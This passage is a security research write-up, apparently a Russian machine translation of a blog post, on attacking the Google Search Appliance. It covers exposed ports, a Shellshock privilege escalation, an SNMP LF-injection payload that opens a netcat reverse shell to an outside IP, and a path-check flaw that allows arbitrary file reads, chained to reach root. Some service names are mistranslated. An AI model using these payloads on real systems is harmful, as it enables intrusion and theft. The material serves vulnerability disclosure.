  &lt;p id=&quot;iWss&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;z4Nv&quot;&gt;7886&lt;/p&gt;
  &lt;p id=&quot;6Py8&quot;&gt;Кот&lt;/p&gt;
  &lt;p id=&quot;5ZF2&quot;&gt;Джава&lt;/p&gt;
  &lt;p id=&quot;Y6YD&quot;&gt;сервер котов&lt;/p&gt;
  &lt;p id=&quot;gzRb&quot;&gt;8000&lt;/p&gt;
  &lt;p id=&quot;Y8w5&quot;&gt;EnterpriseAdminConsole&lt;/p&gt;
  &lt;p id=&quot;Kuok&quot;&gt;Java (без менеджера безопасности)&lt;/p&gt;
  &lt;p id=&quot;7S1E&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;D8bA&quot;&gt;8443&lt;/p&gt;
  &lt;p id=&quot;IpML&quot;&gt;оглушать&lt;/p&gt;
  &lt;p id=&quot;ut7Y&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;WE0P&quot;&gt;перенаправить http на https&lt;/p&gt;
  &lt;p id=&quot;0NDB&quot;&gt;8888&lt;/p&gt;
  &lt;p id=&quot;DXK3&quot;&gt;ГВС&lt;/p&gt;
  &lt;p id=&quot;NWpN&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;R6qw&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;tTNM&quot;&gt;9300&lt;/p&gt;
  &lt;p id=&quot;5qt5&quot;&gt;одинбокссервер&lt;/p&gt;
  &lt;p id=&quot;8bIZ&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;Ap9P&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;DKYF&quot;&gt;9328&lt;/p&gt;
  &lt;p id=&quot;zysR&quot;&gt;энтспелмиксер&lt;/p&gt;
  &lt;p id=&quot;pcak&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;TXXW&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;dmBm&quot;&gt;9400&lt;/p&gt;
  &lt;p id=&quot;qsDM&quot;&gt;микссервер&lt;/p&gt;
  &lt;p id=&quot;JQED&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;ArPy&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;Uv19&quot;&gt;9402&lt;/p&gt;
  &lt;p id=&quot;ff5g&quot;&gt;микссервер&lt;/p&gt;
  &lt;p id=&quot;HUYd&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;4yQA&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;cZJR&quot;&gt;9448&lt;/p&gt;
  &lt;p id=&quot;iuTU&quot;&gt;qrewrite&lt;/p&gt;
  &lt;p id=&quot;xuwO&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;cu6W&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;G2xR&quot;&gt;9450&lt;/p&gt;
  &lt;p id=&quot;IUbJ&quot;&gt;EnterpriseAdminConsole&lt;/p&gt;
  &lt;p id=&quot;yb4G&quot;&gt;Java (без менеджера безопасности)&lt;/p&gt;
  &lt;p id=&quot;O8HG&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;ziMz&quot;&gt;10094&lt;/p&gt;
  &lt;p id=&quot;qM8w&quot;&gt;Enterprise_onebox&lt;/p&gt;
  &lt;p id=&quot;1Pdp&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;UgZ4&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;G6yW&quot;&gt;10200&lt;/p&gt;
  &lt;p id=&quot;goJ6&quot;&gt;кластерный_сервер&lt;/p&gt;
  &lt;p id=&quot;LNnI&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;ae2x&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;BEl6&quot;&gt;11913&lt;/p&gt;
  &lt;p id=&quot;9Y1e&quot;&gt;менеджер сеансов&lt;/p&gt;
  &lt;p id=&quot;IHIy&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;4iyv&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;BlmZ&quot;&gt;12345&lt;/p&gt;
  &lt;p id=&quot;Mz1Q&quot;&gt;Сервер реестра&lt;/p&gt;
  &lt;p id=&quot;0KK6&quot;&gt;Java (без менеджера безопасности)&lt;/p&gt;
  &lt;p id=&quot;loWV&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;AAdl&quot;&gt;19780&lt;/p&gt;
  &lt;p id=&quot;eGhU&quot;&gt;configmgr/ent_configmgr.py&lt;/p&gt;
  &lt;p id=&quot;rc9A&quot;&gt;питон&lt;/p&gt;
  &lt;p id=&quot;8KAC&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;Hsrc&quot;&gt;19900&lt;/p&gt;
  &lt;p id=&quot;F9gJ&quot;&gt;фидергейт&lt;/p&gt;
  &lt;p id=&quot;3ZgD&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;Cmbu&quot;&gt;извлекать, преобразовывать и подавать записи&lt;/p&gt;
  &lt;p id=&quot;Ysgx&quot;&gt;21200&lt;/p&gt;
  &lt;p id=&quot;vyyE&quot;&gt;Шлюз файловой системы&lt;/p&gt;
  &lt;p id=&quot;8Mh5&quot;&gt;Java (с менеджером безопасности)&lt;/p&gt;
  &lt;p id=&quot;gf71&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;H6jR&quot;&gt;31300&lt;/p&gt;
  &lt;p id=&quot;9aPC&quot;&gt;ртсервер&lt;/p&gt;
  &lt;p id=&quot;sHAQ&quot;&gt;С/С++&lt;/p&gt;
  &lt;p id=&quot;ncRf&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;U5Oy&quot;&gt;Несмотря на наличие такого количества сервисов, большинство соединений блокируются iptables. Ниже приведены настройки iptables:&lt;/p&gt;
  &lt;pre id=&quot;uKth&quot;&gt;# Redirect privileged ports.
# (we listen as nobody, which can&amp;#x27;t attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT
&lt;/pre&gt;
  &lt;p id=&quot;waKu&quot;&gt;Ниже приводится реальная доступная поверхность атаки TCP:&lt;/p&gt;
  &lt;p id=&quot;Y3go&quot;&gt;Порт&lt;/p&gt;
  &lt;p id=&quot;F3og&quot;&gt;Услуга&lt;/p&gt;
  &lt;p id=&quot;sFiC&quot;&gt;Местоположение программы&lt;/p&gt;
  &lt;p id=&quot;QaZY&quot;&gt;22&lt;/p&gt;
  &lt;p id=&quot;8kA1&quot;&gt;сш&lt;/p&gt;
  &lt;p id=&quot;fsVf&quot;&gt;/usr/sbin/sshd&lt;/p&gt;
  &lt;p id=&quot;GeT5&quot;&gt;7800&lt;/p&gt;
  &lt;p id=&quot;xHAs&quot;&gt;Корпоративный интерфейс&lt;/p&gt;
  &lt;p id=&quot;a2Xi&quot;&gt;/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar&lt;/p&gt;
  &lt;p id=&quot;57h9&quot;&gt;4430&lt;/p&gt;
  &lt;p id=&quot;tguO&quot;&gt;Корпоративный интерфейс&lt;/p&gt;
  &lt;p id=&quot;1EnC&quot;&gt;/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar&lt;/p&gt;
  &lt;p id=&quot;4NEO&quot;&gt;19900&lt;/p&gt;
  &lt;p id=&quot;S97E&quot;&gt;фидергейт&lt;/p&gt;
  &lt;p id=&quot;77Q4&quot;&gt;/export/hda3/5.2.0/local/google/bin/feedergate&lt;/p&gt;
  &lt;p id=&quot;o2dH&quot;&gt;8000&lt;/p&gt;
  &lt;p id=&quot;99Qe&quot;&gt;EnterpriseAdminConsole&lt;/p&gt;
  &lt;p id=&quot;ONcB&quot;&gt;/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar&lt;/p&gt;
  &lt;p id=&quot;eDPF&quot;&gt;8443&lt;/p&gt;
  &lt;p id=&quot;6cyA&quot;&gt;оглушать&lt;/p&gt;
  &lt;p id=&quot;ev5m&quot;&gt;/usr/sbin/stunnel&lt;/p&gt;
  &lt;p id=&quot;JED5&quot;&gt;И мы обнаружили, что строки в файле &lt;code&gt;/export/hda3/versionmanager/google_key.symmetric&lt;/code&gt;можно использовать для расшифровки содержимого всех установочных пакетов! После получения привилегий с использованием CVE-2014-6271 и расшифровки содержимого установочного пакета наше исследование vGSA временно завершилось.&lt;/p&gt;
  &lt;p id=&quot;LCD6&quot;&gt;Но отсутствие защиты памяти может иметь некоторые уязвимости, которыми можно легко воспользоваться.&lt;/p&gt;
  &lt;figure id=&quot;2bxB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/6.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;gsa&quot;&gt;ГСА&lt;/h3&gt;
  &lt;p id=&quot;cJ5A&quot;&gt;Загрузив установленное устройство и попытавшись изменить последовательность загрузки, мы обнаружили, что для входа в BIOS требуется пароль. Более того, в интерфейсе управления RAID-карты Dell H700 доступны лишь некоторые функции:&lt;/p&gt;
  &lt;figure id=&quot;aEqJ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/7.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GP2L&quot;&gt;Затем попытайтесь напрямую прочитать содержимое жесткого диска. Если содержимое жесткого диска не зашифровано, существует вероятность того, что операционную систему и программное обеспечение устройства можно получить напрямую. Мы обнаружили, что его жесткий диск использует для передачи интерфейс SAS. Прежде чем пытаться, необходимо приобрести карту SAS HBA. LSI 9211-8i используется для подключения в этом тесте:&lt;/p&gt;
  &lt;figure id=&quot;UmvS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/8.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nb04&quot;&gt;После подключения и попытки чтения было обнаружено, что это самошифрующийся накопитель (SED). Для разблокировки доступа требуется пароль. OSSLab имеет более подробное объяснение здесь:&lt;/p&gt;
  &lt;p id=&quot;N6Ty&quot;&gt;&lt;a href=&quot;https://www.osslab.com.tw/ata-sed-security/&quot; target=&quot;_blank&quot;&gt;https://www.osslab.com.tw/ata-sed-security/&lt;/a&gt; (статья на китайском языке)&lt;/p&gt;
  &lt;p id=&quot;9cnf&quot;&gt;Есть несколько способов продолжить попытку, если прямой доступ к жесткому диску невозможен:&lt;/p&gt;
  &lt;ul id=&quot;F0aF&quot;&gt;
    &lt;li id=&quot;2dUB&quot;&gt;Попробуйте прочитать пароль в EEPROM биоса и изменить порядок загрузки.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;0YnI&quot;&gt;Этот метод требует повреждения материнской платы и несет в себе определенный риск. Этот метод используется только в том случае, если на уровне программного обеспечения не обнаружено уязвимостей. Дополнительная информация: &lt;a href=&quot;https://blog.cybercx.co.nz/bypassing-bios-password&quot; target=&quot;_blank&quot;&gt;https://blog.cybercx.co.nz/bypassing-bios-password .&lt;/a&gt;&lt;/p&gt;
  &lt;ul id=&quot;qJWn&quot;&gt;
    &lt;li id=&quot;3Dnz&quot;&gt;Используйте PCILeech для чтения и записи памяти, чтобы получить системные привилегии.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;uaJ1&quot;&gt;Для этого метода требуются специальные устройства PCI-e, которые в то время не были подготовлены. Вы можете обратиться к этому проекту GitHub:&lt;/p&gt;
  &lt;p id=&quot;EH09&quot;&gt;&lt;a href=&quot;https://github.com/ufrisk/pcileech&quot; target=&quot;_blank&quot;&gt;https://github.com/ufrisk/pcileech&lt;/a&gt;&lt;/p&gt;
  &lt;ul id=&quot;6QIH&quot;&gt;
    &lt;li id=&quot;xsok&quot;&gt;Ищите уязвимости программного обеспечения, которые могут получить доступ к сервису.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7oe7&quot;&gt;Этот метод проще и осуществимее.&lt;/p&gt;
  &lt;h4 id=&quot;lf-injection-in-admin-console&quot;&gt;НЧ-инъекция в консоли администратора&lt;/h4&gt;
  &lt;p id=&quot;CPT6&quot;&gt;Зайдя в админку, мы заметили возможность получения системной информации по SNMP. Кроме того, эта функция позволяет вставлять собственные строки.:&lt;/p&gt;
  &lt;figure id=&quot;1CF6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/9.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tBHB&quot;&gt;Здесь мы попробовали классическую НЧ-инъекцию:&lt;/p&gt;
  &lt;figure id=&quot;6Icw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/10.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VRLJ&quot;&gt;Введите &lt;code&gt;sysContact&lt;/code&gt;LF и следующую команду:&lt;/p&gt;
  &lt;pre id=&quot;IMyl&quot;&gt;extend shell /bin/nc -e /bin/sh 10.5.2.1 4444
&lt;/pre&gt;
  &lt;p id=&quot;khT0&quot;&gt;После вставки значения конфигурации «extend» мы можем использовать команду «snmpwalk», чтобы активировать функцию расширения SNMP и выполнить оболочку.&lt;/p&gt;
  &lt;figure id=&quot;E3vX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/11.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vqhP&quot;&gt;Команда выполнена успешно и снова соединилась с оболочкой.&lt;/p&gt;
  &lt;h4 id=&quot;arbitrary-file-reading&quot;&gt;Произвольное чтение файлов&lt;/h4&gt;
  &lt;p id=&quot;bYBI&quot;&gt;Из версий серии GSA 6.x мы обнаружили, что веб-службы 80/443 используют Apache httpd в установочном пакете RPM. Существует несколько конфигураций http, расположенных в /etc/httpd/conf.d/. В файлах gsa-http.conf и gsaa-https.conf определенные каталоги перенаправляются на определенные локальные службы.&lt;/p&gt;
  &lt;pre id=&quot;3Chd&quot;&gt;  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]
&lt;/pre&gt;
  &lt;p id=&quot;2E4n&quot;&gt;Коммуникационные порты 7886 и 7890 — это службы, обслуживаемые отдельными серверами Apache Tomcat. При проксировании двух или более веб-серверов определение пути Tomcat, ..;/, является интересной контрольной точкой. Более подробную информацию вы можете найти в статье, написанной нашим сотрудником:&lt;/p&gt;
  &lt;p id=&quot;Jp52&quot;&gt;&lt;a href=&quot;https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf&quot; target=&quot;_blank&quot;&gt;https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;Yyg6&quot;&gt;Нас интересует &lt;code&gt;dps&lt;/code&gt;, которого, похоже, нет в старой версии GSA. Извлечение /WEB-INF/web.xml из dps.war позволяет нам проверить конфигурацию веб-приложения, и мы обнаружили, что конечная точка /font будет обрабатываться &lt;code&gt;com.documill.dps.connector.servlet.user.DPSDownloadServlet&lt;/code&gt;&lt;/p&gt;
  &lt;pre id=&quot;2f5A&quot;&gt;  &amp;lt;servlet&amp;gt;
    &amp;lt;servlet-name&amp;gt;font&amp;lt;/servlet-name&amp;gt;
    &amp;lt;servlet-class&amp;gt;com.documill.dps.connector.servlet.user.DPSDownloadServlet&amp;lt;/servlet-class&amp;gt;
    &amp;lt;init-param&amp;gt;
      &amp;lt;param-name&amp;gt;rootDirectory&amp;lt;/param-name&amp;gt;
      &amp;lt;param-value&amp;gt;work/fonts/&amp;lt;/param-value&amp;gt;
    &amp;lt;/init-param&amp;gt;
  &amp;lt;/servlet&amp;gt;

  &amp;lt;servlet-mapping&amp;gt;
    &amp;lt;servlet-name&amp;gt;font&amp;lt;/servlet-name&amp;gt;
    &amp;lt;url-pattern&amp;gt;/font/*&amp;lt;/url-pattern&amp;gt;
  &amp;lt;/servlet-mapping&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;LEF3&quot;&gt;И глядя на &lt;code&gt;DPSDownloadServlet&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;QKok&quot;&gt;import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException(&amp;quot;DPSDownloadServlet:getRealPath:DPS home directory not specified&amp;quot;);
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}
&lt;/pre&gt;
  &lt;p id=&quot;W6Tl&quot;&gt;Шаг, в &lt;code&gt;com.davisor.net.servlet.DownloadServlet&lt;/code&gt;который простирается &lt;code&gt;DPSDownloadServlet&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;xKOY&quot;&gt;    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append(&amp;quot;Invalid file path: &amp;quot;).append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append(&amp;quot;No file:&amp;quot;).append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append(&amp;quot;Unreadable file:&amp;quot;).append(s).toString());
        } else
        {
            long l = file.length();
            if(l &amp;gt; 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append(&amp;quot;File too big:&amp;quot;).append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), &amp;quot;application/octet-stream&amp;quot;);
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader(&amp;quot;Last-Modified&amp;quot;, file.lastModified());
                if(cacheExpires &amp;gt; 0L)
                {
                    httpservletresponse.setDateHeader(&amp;quot;Expires&amp;quot;, System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader(&amp;quot;Cache-Control&amp;quot;, &amp;quot;public&amp;quot;);
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) &amp;amp;&amp;amp; !s.contains(&amp;quot;..&amp;quot;);
    }
&lt;/pre&gt;
  &lt;p id=&quot;1ZkN&quot;&gt;Здесь вы можете видеть, что единственная проверка — содержит ли строка &lt;code&gt;..&lt;/code&gt;. Однако мы можем напрямую указать абсолютный путь и напрямую прочитать любой локальный файл!&lt;/p&gt;
  &lt;figure id=&quot;hLdh&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/12.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iYUN&quot;&gt;В старой версии GSA нет конечной точки /font, но /dps/admin/admin имеет аналогичную проблему с чтением файлов. Вы можете напрямую указать имя журнала для чтения файла. На схеме ниже показано непосредственное считывание пароля учетной записи из интерфейса управления системой:&lt;/p&gt;
  &lt;figure id=&quot;0Siu&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/13.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wP7I&quot;&gt;После успешного взлома хэша вы можете войти в систему, включить службу SNMP и объединить ее с первой уязвимостью для выполнения произвольных команд с правами root.&lt;/p&gt;
  &lt;h3 id=&quot;other-findings-and-misc&quot;&gt;Другие выводы и прочее&lt;/h3&gt;
  &lt;h4 id=&quot;internal-uris-in-web-services&quot;&gt;Внутренние URI в веб-сервисах&lt;/h4&gt;
  &lt;p id=&quot;a2JY&quot;&gt;В GSA существует несколько подсервисов, которые взаимодействуют друг с другом по протоколу HTTP. Многие из этих служб предлагают такие URL-адреса, как /varz, /helpz и /procz. Мы можем получить к ним доступ либо в доверенном сетевом расположении, определенном для службы, либо с помощью 127.0.0.1:&lt;/p&gt;
  &lt;figure id=&quot;nGr3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/14.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;y7O1&quot;&gt;В vGSA мы заметили, что существует параметр выполнения службы под названием «useripheader=X-User-Ip». Этот параметр обеспечивает прямой доступ к определенным функциям внешней консоли администратора, если он включен в заголовок запроса как «X-User- ИП».&lt;/p&gt;
  &lt;figure id=&quot;yCJx&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/15.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;qE1b&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/16.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9fBO&quot;&gt;Конечная &lt;code&gt;/procz&lt;/code&gt;точка может даже получать исполняемые файлы и общие библиотеки, которые они используют:&lt;/p&gt;
  &lt;figure id=&quot;RJhX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://devco.re/assets/img/blog/20230707/17.png&quot; /&gt;
  &lt;/figure&gt;
  &lt;h4 id=&quot;appliances-list&quot;&gt;Список техники&lt;/h4&gt;
  &lt;p id=&quot;K8yN&quot;&gt;Название модели&lt;/p&gt;
  &lt;p id=&quot;DsMQ&quot;&gt;Создатель&lt;/p&gt;
  &lt;p id=&quot;FUaS&quot;&gt;Характеристики&lt;/p&gt;
  &lt;p id=&quot;hWd5&quot;&gt;версия&lt;/p&gt;
  &lt;p id=&quot;jZvR&quot;&gt;Сумма документа&lt;/p&gt;
  &lt;p id=&quot;eJrP&quot;&gt;Гугл Мини&lt;/p&gt;
  &lt;p id=&quot;ScWW&quot;&gt;Гигабайт&lt;/p&gt;
  &lt;p id=&quot;4a4F&quot;&gt;&lt;a href=&quot;https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl&quot; target=&quot;_blank&quot;&gt;Pentium III 1 ГБ/2 ГБ памяти/120 ГБ&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;tIdm&quot;&gt;3.4.14&lt;/p&gt;
  &lt;p id=&quot;3sea&quot;&gt;300 000&lt;/p&gt;
  &lt;p id=&quot;zKz2&quot;&gt;Гугл Мини-002X&lt;/p&gt;
  &lt;p id=&quot;CIkr&quot;&gt;СуперМикро&lt;/p&gt;
  &lt;p id=&quot;Svk8&quot;&gt;Pentium 4 3G / 2 ГБ памяти / жесткий диск 250 ГБ&lt;/p&gt;
  &lt;p id=&quot;hxjt&quot;&gt;5.0.0&lt;/p&gt;
  &lt;p id=&quot;MeNO&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;hoHn&quot;&gt;Гугл ГБ-1001&lt;/p&gt;
  &lt;p id=&quot;T1Sp&quot;&gt;Делл Повередж 2950&lt;/p&gt;
  &lt;p id=&quot;HqFj&quot;&gt;Xeon / 16 ГБ памяти / жесткий диск 1,25 ТБ&lt;/p&gt;
  &lt;p id=&quot;k5Js&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;wABQ&quot;&gt;3 000 000&lt;/p&gt;
  &lt;p id=&quot;EM7I&quot;&gt;Гугл ГБ-1002&lt;/p&gt;
  &lt;p id=&quot;8XAl&quot;&gt;Гигабайт&lt;/p&gt;
  &lt;p id=&quot;Z9nK&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;nenS&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;U7PV&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;vzWi&quot;&gt;Гугл ГБ-7007&lt;/p&gt;
  &lt;p id=&quot;nRCK&quot;&gt;Делл Р710&lt;/p&gt;
  &lt;p id=&quot;LiG3&quot;&gt;Xeon E5520 / 48 ГБ памяти / жесткий диск 3 ТБ&lt;/p&gt;
  &lt;p id=&quot;zNcu&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;wNE9&quot;&gt;10 000 000&lt;/p&gt;
  &lt;p id=&quot;Rxbf&quot;&gt;Гугл ГБ-9009&lt;/p&gt;
  &lt;p id=&quot;wkxt&quot;&gt;Делл неизвестен&lt;/p&gt;
  &lt;p id=&quot;dMa1&quot;&gt;Xeon X5560 / 96 ГБ памяти / жесткий диск 3,6 ТБ&lt;/p&gt;
  &lt;p id=&quot;JtUz&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;r2VJ&quot;&gt;30 000 000&lt;/p&gt;
  &lt;p id=&quot;JETg&quot;&gt;Гугл G100&lt;/p&gt;
  &lt;p id=&quot;ltlA&quot;&gt;Делл R720XD&lt;/p&gt;
  &lt;p id=&quot;daiR&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;w2hj&quot;&gt;неизвестный&lt;/p&gt;
  &lt;p id=&quot;9vph&quot;&gt;неизвестный&lt;/p&gt;
  &lt;h4 id=&quot;linux-kernel-version&quot;&gt;Версия ядра Linux&lt;/h4&gt;
  &lt;p id=&quot;S2Mv&quot;&gt;версия GSA&lt;/p&gt;
  &lt;p id=&quot;ZWR9&quot;&gt;Версия ядра Linux&lt;/p&gt;
  &lt;p id=&quot;XbyE&quot;&gt;7.6.0&lt;/p&gt;
  &lt;p id=&quot;airM&quot;&gt;Версия Linux 3.14.44_gsa-x64_1.5 ( mrevutskyi@mrevutskyi.mtv.corp.google.com ) (версия gcc 4.9.x-google 20150123 (предварительная версия) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu ) ) #1 SMP Пн, 23 ноября 09:19:11 PST 2015&lt;/p&gt;
  &lt;p id=&quot;f5OQ&quot;&gt;7.4.0&lt;/p&gt;
  &lt;p id=&quot;rxjx&quot;&gt;7.2.0&lt;/p&gt;
  &lt;p id=&quot;LQgD&quot;&gt;Версия Linux 3.4.3_gsa-x64_1.5 ( martincochran@ypc-ubiq202.dls.corp.google.com ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1 -grte) ) #1 SMP Вт, 9 июля 15:36:01 PDT 2013&lt;/p&gt;
  &lt;p id=&quot;GFGU&quot;&gt;7.0.14&lt;/p&gt;
  &lt;p id=&quot;Tyfa&quot;&gt;Версия Linux 3.4.3_gsa-x64_1.3 ( stephenamar@neutrino.mtv.corp.google.com ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte ) ) #1 SMP Четверг, 19 июля, 11:59:57 по тихоокеанскому времени 2012 г.&lt;/p&gt;
  &lt;p id=&quot;q6aj&quot;&gt;5.2.0&lt;/p&gt;
